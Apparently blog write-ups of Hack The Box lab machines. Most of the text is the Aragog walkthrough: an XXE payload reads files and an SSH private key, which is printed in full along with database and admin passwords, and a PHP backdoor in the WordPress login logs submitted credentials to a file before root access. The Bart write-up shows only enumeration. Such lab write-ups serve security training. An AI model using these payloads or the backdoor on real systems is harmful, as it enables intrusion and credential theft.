OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Uptime guess: 17.011 days (since Wed Apr 25 19:49:01 2018) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 144.05 ms 10.10.14.1 2 144.26 ms 10.10.10.78 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 12 20:05:33 2018 -- 1 IP address (1 host up) scanned in 939.01 seconds From our scan we can see that we have three services available for us to explore. FTP on port 21 which has anonymous login enabled, ssh on 22, and a webserver on port 80. Enumerating FTP (test.txt) Lets connect to the ftp server with the anonymous user. root@dastinia:~/htb/aragog# ftp 10.10.10.78 Connected to 10.10.10.78. 220 (vsFTPd 3.0.3) Name (10.10.10.78:root): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp&amp;gt; dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt 226 Directory send OK. We see there is a single file called test.txt ftp&amp;gt; get test.txt local: test.txt remote: test.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for test.txt (86 bytes). 226 Transfer complete. 86 bytes received in 0.00 secs (53.2220 kB/s) ftp&amp;gt; quit 221 Goodbye. Looking at the test.txt file we see some data related to a subnet_mask, which looks like it might be XML formatted data… root@dastinia:~/htb/aragog# cat test.txt &amp;lt;details&amp;gt; &amp;lt;subnet_mask&amp;gt;255.255.255.192&amp;lt;/subnet_mask&amp;gt; &amp;lt;test&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/details&amp;gt; Enumerating Port 80 Upon visiting the server on port 80 you are shown the default apache page. Running gobuster against the site reveals that the page hosts. php` is available. root@dastinia:~/htb/aragog# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.78 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_aragog Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.78/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 204,301,302,307,403,200 [+] Extensions : .php,.html ===================================================== /index.html (Status: 200) /hosts.php (Status: 200) Visiting hosts.php you see the following landing page… The page states that: There are 4294967294 possible hosts for. Looking backwards, let’s take a took at test.txt test.txt states that our subnet mask is 255.255.255.192, we attempt to do the calculation but realize that we can’t do subnet math in our head! Oh my, we should have paid more attention in intro to networking college! We quickly go back to school and rack up an additional 90,000 USD of student loan debt and we realize that 255.255.255.192 is a /26 which has a maximum of 62 usable hosts per network with 4 possible networks available which means (62 * 4 ) = 248 total possible hosts for the test.txt subnet. With our near almost complete accredited university enducation education, we that 4294967294 does not equal 248. With our new found knowledge we attempt to send a POST request with the data provided by test.txt in the body of the request. We see the application react in the following manner…. Interesting, the application reacted just as expected. Let’s attempt a simple XXE injection since we know the application is parsing our input from the requests due to the change in response, and the data is likely XML formatted. Our payload: &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt; &amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt; &amp;lt;!ENTITY xxe SYSTEM &quot;file:////etc/issue&quot; &amp;gt;]&amp;gt; &amp;lt;details&amp;gt; &amp;lt;subnet_mask&amp;gt;&amp;amp;xxe;&amp;lt;/subnet_mask&amp;gt; &amp;lt;test&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/details&amp;gt; Success. Exploitation Reading florian’s ssh private key Since we are able to read files on system, we can potentially read sensitive files on the box. By reading the contents of /etc/passwd we know that florian and cliff are users on this box &amp;amp; their login shells are set to /bin/bash/ We attempt the user.txt file for both users, and you discover that’ florian’s user is the user we are going after. We know that ssh is an available service on the box, so let see if florian has an ssh private key for his user. xml payload &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt; &amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt; &amp;lt;!ENTITY xxe SYSTEM &quot;file:////home/florian/.ssh/id_rsa&quot; &amp;gt;]&amp;gt; &amp;lt;details&amp;gt; &amp;lt;subnet_mask&amp;gt;&amp;amp;xxe;&amp;lt;/subnet_mask&amp;gt; &amp;lt;test&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/details&amp;gt; Florian ssh_private key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d +YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8 lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn 1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+ Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd d4Lkst4w4sptYMHzzshmUDrkrDJDq6olL4FyKwIDAQABAoIBAAxwMwmsX0CRbPOK AQtUANlqzKHwbVpZa8W2UE74poc5tQ12b9xM2oDluxVnRKMbyjEPZB+/aU41K1bg TzYI2b4mr90PYm9w9N1K6Ly/auI38+Ouz6oSszDoBeuo9PS3rL2QilOZ5Qz/7gFD 9YrRCUij3PaGg46mvdJLmWBGmMjQS+ZJ7w1ouqsIANypMay2t45v2Ak+SDhl/SDb /oBJFfnOpXNtQfJZZknOGY3SlCWHTgMCyYJtjMCW2Sh2wxiQSBC8C3p1iKWgyaSV 0qH/3gt7RXd1F3vdvACeuMmjjjARd+LNfsaiu714meDiwif27Knqun4NQ+2x8JA1 sWmBdcECgYEA836Z4ocK0GM7akW09wC7PkvjAweILyq4izvYZg+88Rei0k411lTV Uahyd7ojN6McSd6foNeRjmqckrKOmCq2hVOXYIWCGxRIIj5WflyynPGhDdMCQtIH zCr9VrMFc7WCCD+C7nw2YzTrvYByns/Cv+uHRBLe3S4k0KNiUCWmuYsCgYEA8yFE rV5bD+XI/iOtlUrbKPRyuFVUtPLZ6UPuunLKG4wgsGsiVITYiRhEiHdBjHK8GmYE tkfFzslrt+cjbWNVcJuXeA6b8Pala7fDp8lBymi8KGnsWlkdQh/5Ew7KRcvWS5q3 HML6ac06Ur2V0ylt1hGh/A4r4YNKgejQ1CcO/eECgYEAk02wjKEDgsO1avoWmyL/ I5XHFMsWsOoYUGr44+17cSLKZo3X9fzGPCs6bIHX0k3DzFB4o1YmAVEvvXN13kpg ttG2DzdVWUpwxP6PVsx/ZYCr3PAdOw1SmEodjriogLJ6osDBVcMhJ+0Y/EBblwW7 HF3BLAZ6erXyoaFl1XShozcCgYBuS+JfEBYZkTHscP0XZD0mSDce/r8N07odw46y kM61To2p2wBY/WdKUnMMwaU/9PD2vN9YXhkTpXazmC0PO+gPzNYbRe1ilFIZGuWs 4XVyQK9TWjI6DoFidSTGi4ghv8Y4yDhX2PBHPS4/SPiGMh485gTpVvh7Ntd/NcI+ 7HU1oQKBgQCzVl/pMQDI2pKVBlM6egi70ab6+Bsg2U20fcgzc2Mfsl0Ib5T7PzQ3 daPxRgjh3CttZYdyuTK3wxv1n5FauSngLljrKYXb7xQfzMyO0C7bE5Rj8SBaXoqv uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA== -----END RSA PRIVATE KEY----- Lets see if we can login with the key root@dastinia:~/htb/aragog# ssh -i florian_id_rsa florian@10.10.10.78 Last login: Sat Jul 21 05:52:00 2018 from 10.10.14.188 florian@aragog:~$ id uid=1000(florian) gid=1000(florian) groups=1000(florian) Look’s like the login was successful. Let’s take a peak at hosts.php real quick florian@aragog:/var/www/html$ cat hosts.php &amp;lt;?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom-&amp;gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $details = simplexml_import_dom($dom); $mask = $details-&amp;gt;subnet_mask; //echo &quot;\r\nYou have provided subnet $mask\r\n&quot;; $max_bits = '32'; $cidr = mask2cidr($mask); $bits = $max_bits - $cidr; $hosts = pow(2,$bits); echo &quot;\r\nThere are &quot; . ($hosts - 2) . &quot; possible hosts for $mask\r\n\r\n&quot;; function mask2cidr($mask){ $long = ip2long($mask); $base = ip2long('255.255.255.255'); return 32-log(($long ^ $base)+1,2); } ?&amp;gt; Privilege Escalation Discovering dev_wiki wordpress site Interesting we see additional content is being served up in our var/www/html directory. florian@aragog:/var/www/html$ ls -la total 68 drwxrwxrwx 4 www-data www-data 4096 Jul 21 05:55 . drwxr-xr-x 3 root root 4096 Dec 18 2017 .. drwxrwxrwx 5 cliff cliff 4096 Jul 21 05:55 dev_wiki -rw-r--r-- 1 www-data www-data 689 Dec 21 2017 hosts.php -rw-r--r-- 1 www-data www-data 11321 Dec 18 2017 index.html -rw-r--r-- 1 florian florian 36650 Jul 21 05:55 wp-login.php drw-r--r-- 5 cliff cliff 4096 Dec 20 2017 zz_backup Inspecting the contents of the dev_wiki directory, we see that it’s a WordPress blog. Additionally it seems that we have full control over the dev_wiki directory. Let see if we can visit the dev_wiki WordPress site in our browser. But before we do that we need to add aragog as an entry in our /etc/hosts file first. echo &quot;10.10.10.78 aragog&quot; &amp;gt;&amp;gt; /etc/hosts Looking at the blog we see that there’s only one post. Stating that cliff will be logging in regularly. Lets see what the username/password of the mysql database is… florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php &amp;lt;?php ...[snip]... // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wp_wiki'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h'); /** MySQL hostname */ define('DB_HOST', 'localhost'); Let’s have a look at the wordpress database &amp;amp; see if we can discover any WP user passwords we can crack. florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 55 Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql&amp;gt; mysql&amp;gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | wp_wiki | +--------------------+ 5 rows in set (0.03 sec) mysql&amp;gt; use wp_wiki; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql&amp;gt; show tables; +-----------------------+ | Tables_in_wp_wiki | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.01 sec) mysql&amp;gt; select * from wp_users; +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ | 1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | it@megacorp.com | | 2017-12-20 23:26:04 | | 0 | Administrator | +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ 1 row in set (0.01 sec) mysql&amp;gt; We attempt to crack the hash with john the ripper &amp;amp; the rockyou wordlist but was unsuccessful so likely this is unrelated. Performing process monitoring with pspy While doing your enumeration you would notice that the dev_wiki directory was getting deleted constantly on every few minutes or so. To get a better idea of whats going on we can try to monitor the running processes on the box. Hack the box Member 0b5cur17y created a fantastic tool called pspy. It’s very common for HTB machines to require to guess random crontab stuff or find parameters/process commandlines. If you view the original thread you will understand what I mean. using pspy to discover wp-login.py florian@aragog:/tmp/.ps$ wget -q http://10.10.15.207:7777/pspy64 florian@aragog:/tmp/.ps$ chmod +x pspy64 florian@aragog:/tmp/.ps$ ./pspy64 After some time we see that there is a cronjob that is constantly deleting the dev_wiki folder &amp;amp; replacing it with the backup folder… &amp;amp; a script wp-login.py is ran shortly after that process happens. 2018/07/21 06:35:01 CMD: UID=1001 PID=3870 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py 2018/07/21 06:35:01 CMD: UID=0 PID=3869 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=1001 PID=3868 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py 2018/07/21 06:35:01 CMD: UID=0 PID=3867 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=0 PID=3866 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=0 PID=3872 | rm -rf /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=0 PID=3871 | /bin/bash /root/restore.sh 2018/07/21 06:35:01 CMD: UID=0 PID=3873 | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=1001 PID=3875 | 2018/07/21 06:35:01 CMD: UID=1001 PID=3874 | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2&amp;gt;/dev/null 2018/07/21 06:35:01 CMD: UID=0 PID=3878 | chown -R cliff:cliff /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=0 PID=3879 | chmod -R 777 /var/www/html/dev_wiki/ If you google wp-login.py and we find the following Github Gist of wp-login.py Remember that blog post? “I’ll be logging in regularly” Backdooring Wordpress to Log Requests &amp;amp; Getting Root So there’s a few possible ways we can try to accomplish this. Backdoor wp-login.php to send a request to our server with the login details or have wordpress log the post requeset to a file. We can also modify the wp-includes\user.php login function hook to log the username &amp;amp; password to a file. This part was a bit troubling since there were a few ways to accomplish this task, and depending on which path you took. I consulted with some other HTB members &amp;amp; a good chunk of them went the wp-login.php route which I felt like was much harder. There’s a few good examples of how to “Backdoor Wordpress”, but I think the best example I’ve ever seen of backdooring a wordpress site was when phineas fisher hacked the catalan police department. It was very simple, clean, and pretty discrete. I honestly think this dude is a legend, and he recorded how he did it &amp;amp; posted it on the internet for people to learn. Some fantastic learning can be done from the video of the hack he did, I highly recommend watching it in full. (Also an obglitatory #hackback) Video Phineas Fisher Hacks Catalan Police Department stop watching at: 30:01. backdoor php code file_put_contents(&quot;wp-includes/.m.php&quot;,&quot;WP :&quot; . $_POST['log'] . &quot; : &quot; . $_POST['pwd'] . &quot;\n&quot;, FILE_APPEND); We run some tests &amp;amp; we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log. florian@aragog:/var/www/html/dev_wiki/wp-includes$ cat .m.php WP :tsst : test WP :Administrator : !KRgYs(JFO!&amp;amp;MTr)lf WP :medic : medic getting root florian@aragog:/var/www/html/dev_wiki/wp-includes$ su root Password: root@aragog:/var/www/html/dev_wiki/wp-includes# id uid=0(root) gid=0(root) groups=0(root) root@aragog:/var/www/html/dev_wiki/wp-includes# root@aragog:/var/www/html/dev_wiki/wp-includes# cat /root/root.txt 9a9da5..... Lets take a peak at restore.sh &amp;amp; wp-login.py restore.sh root@aragog:~# cat restore.sh rm -rf /var/www/html/dev_wiki/ cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/ chown -R cliff:cliff /var/www/html/dev_wiki/ chmod -R 777 /var/www/html/dev_wiki/ wp-login.py root@aragog:/home/cliff# cat wp-login.py import requests wp_login = 'http://127.0.0.1/dev_wiki/wp-login.php' wp_admin = 'http://127.0.0.1/dev_wiki/wp-admin/' username = 'Administrator' password = '!KRgYs(JFO!&amp;amp;MTr)lf' with requests.Session() as s: headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' } datas={ 'log':username, 'pwd':password, 'wp-submit':'Log In', 'redirect_to':wp_admin, 'testcookie':'1' } s.post(wp_login, headers=headers1, data=datas) resp = s.get(wp_admin) print(resp.text) That’s all for now folks.</summary></entry><entry><title type="html">Hack the Box - Bart Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/07/14/hackthebox-bart/" rel="alternate" type="text/html" title="Hack the Box - Bart Write up" /><published>2018-07-14T00:00:00-04:00</published><updated>2018-07-14T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/07/14/hackthebox-bart</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/07/14/hackthebox-bart/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/1.png&quot; alt=&quot;Bart&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;I felt like Bart was a pretty good box. It’s extremely similar to some of the boxes in the OSCP labs, and the avenue used to get code execution I’ve already seen at least twice so far. If you are taking the OSCP (I currently am) I highly recommend going through the motions of this box because Bart is a prime example of a potential box you would get, with very similar attack vectors that you need to be able to exploit. I plan on editing this write-up a bit later to include how to complete this box without the use of Metasploit, but only after I get some sleep since I’ve been up all night. Sorry if there are any quailty control mistakes in advance it’s too early for me.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/&quot;&gt;BurpSuite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;GoBuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/ncat/&quot;&gt;Ncat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/xmendez/wfuzz&quot;&gt;WFuzz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eternallybored.org/misc/netcat/&quot;&gt;Netcat (64bit)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/CoreSecurity/impacket&quot;&gt;Impacket&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;
&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Like with every hack the box machine lets begin with an nmap scan against Bart (10.10.10.81)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# nmap -sV -sC 10.10.10.81 -oA nmap/bart_initscan
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 21:17 EDT
Nmap scan report for 10.10.10.81
Host is up (0.18s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.00 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;We see that the only available service is the IIS web service running on port 80. We can also determine from the IIS 10 http header that this is likely a &lt;a href=&quot;https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10/new-features-introduced-in-iis-10&quot;&gt;windows server 2016 or windows 10&lt;/a&gt; system running under the hood.&lt;/p&gt;

&lt;h3 id=&quot;enumeration-port-80-forumbarthtb-wordpress&quot;&gt;Enumeration Port 80 (forum.bart.htb (wordpress))&lt;/h3&gt;

&lt;p&gt;From our nmap scan we can that we are being redirected automatically to &lt;code class=&quot;highlighter-rouge&quot;&gt;forum.bart.htb&lt;/code&gt;. Since htb doesn’t have global dns, we aren’t going to be able to resolve the site. We can add a dns entry in our &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file to point &lt;code class=&quot;highlighter-rouge&quot;&gt;10.10.10.81&lt;/code&gt; to both &lt;code class=&quot;highlighter-rouge&quot;&gt;bart.htb&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;forum.bart.htb&lt;/code&gt;. &lt;a href=&quot;https://askubuntu.com/questions/183176/what-is-the-use-of-etc-hosts&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;adding the /etc/hosts entry&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# echo &quot;10.10.10.81 forum.bart.htb&quot; &amp;gt;&amp;gt; /etc/hosts
root@dastinia:~/htb/bart# echo &quot;10.10.10.81 bart.htb&quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Visiting forum.bart.htb in a browser brings us to a snazzy SPA Wordpress site.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/bart/2.png&quot; alt=&quot;&amp;quot;Homepage of forum.bart.htb&amp;quot;&quot; title=&quot;Homepage of forum.bart.htb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Attempting to access the Wordpress login page ends up with an error: &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;The page cannot be displayed because an internal server error has occurred.&quot;&lt;/code&gt; This is strange because there’s not much else going on with the site. Likely is might be some sort of rabbit hole.&lt;/p&gt;

&lt;p&gt;Running gobuster on &lt;code class=&quot;highlighter-rouge&quot;&gt;forum.bart.htb doesn't&lt;/code&gt; reveal anything extremely interesting. Thinking that maybe there is some hidden content with the site, we mirror the site with wget, and search for interesting content like emails, extra domain names, or hidden pages.&lt;/p&gt;

&lt;p&gt;We were able to discover a few potential emails/usernames but nothing that stood out blindly. We did notice that the bart developer &lt;code class=&quot;highlighter-rouge&quot;&gt;Harvey Potter&lt;/code&gt; &lt;em&gt;h.potter@bart.htb&lt;/em&gt; is the only member of the team not displayed on the main site, but who’s information is stored in a comment on the page.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;mirroring site locally&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart/bart_wpsite# wget -r http://forum.bart.htb
root@dastinia:~/htb/bart/bart_wpsite# grep -RiP &quot;bart&quot; forum.bart.htb/
forum.bart.htb/index.html:&amp;lt;title&amp;gt;BART&amp;lt;/title&amp;gt;
forum.bart.htb/index.html:&amp;lt;link rel='stylesheet' id='sydney-ie9-css'  href='http://forum.bart.htb/wp-content/themes/sydney/css/ie9.css?ver=4.8.2' type='text/css' media='all' /&amp;gt;
forum.bart.htb/index.html:                                                      &amp;lt;h1 class=&quot;site-title&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; rel=&quot;home&quot;&amp;gt;BART&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                              &amp;lt;div class=&quot;pos&quot;&amp;gt;CEO@BART&amp;lt;/div&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                                      &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:s.brown@bart.local&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
forum.bart.htb/index.html:                                                                                                                                              &amp;lt;div class=&quot;pos&quot;&amp;gt;CEO@BART&amp;lt;/div&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                                      &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:d.simmons@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                                      &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:r.hilton@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                                              &amp;lt;div class=&quot;pos&quot;&amp;gt;Developer@BART&amp;lt;/div&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                                                      &amp;lt;li&amp;gt;&amp;lt;a class=&quot;mail&quot; href=&quot;mailto:h.potter@bart.htb&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;fa&quot;&amp;gt;M&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
forum.bart.htb/index.html:                                                                                                                                                    
...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;better grep or extract email addresses&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart/bart_wpsite# grep -RiE -o &quot;\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b&quot;
forum.bart.htb/index.html:s.brown@bart.local
forum.bart.htb/index.html:d.simmons@bart.htb
forum.bart.htb/index.html:r.hilton@bart.htb
forum.bart.htb/index.html:h.potter@bart.htb
forum.bart.htb/index.html:info@bart.htb
forum.bart.htb/index.html:info@bart.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;discovering-monitoring-portal-with-wfuzz&quot;&gt;Discovering Monitoring Portal with Wfuzz&lt;/h3&gt;

&lt;p&gt;Taking a step back, and attempting to enumerate the root of the domain – &lt;code class=&quot;highlighter-rouge&quot;&gt;bart.htb&lt;/code&gt; with &lt;code class=&quot;highlighter-rouge&quot;&gt;gobuster&lt;/code&gt; you discover that the site seems to be returning some kind of content on every request..&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gobuster on bart.htb&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://bart.htb/ -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_bart

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://bart.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,403,200
[+] Extensions   : .php,.html
=====================================================
/index (Status: 200)
/news (Status: 200)
/crack (Status: 200)
/download (Status: 200)
/2006 (Status: 200)
/images (Status: 200)
/serial (Status: 200)
/warez (Status: 200)
/full (Status: 200)
/12 (Status: 200)
/contact (Status: 200)
/about (Status: 200)
/search (Status: 200)
/spacer (Status: 200)
/logo (Status: 200)
/privacy (Status: 200)
/11 (Status: 200)
/new (Status: 200)
/blog (Status: 200)
/rss (Status: 200)
/home (Status: 200)
/faq (Status: 200)
/cgi-bin (Status: 200)
/10 (Status: 200)
/archives (Status: 200)
/products (Status: 200)
/sitemap (Status: 200)
/default (Status: 200)
/img (Status: 200)
/2005 (Status: 200)
/1 (Status: 200)
/09 (Status: 200)
/links (Status: 200)
/01 (Status: 200)
/08 (Status: 200)
/06 (Status: 200)
/2 (Status: 200)
/07 (Status: 200)
/articles (Status: 200)
/login (Status: 200)
/keygen (Status: 200)
/article (Status: 200)
...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

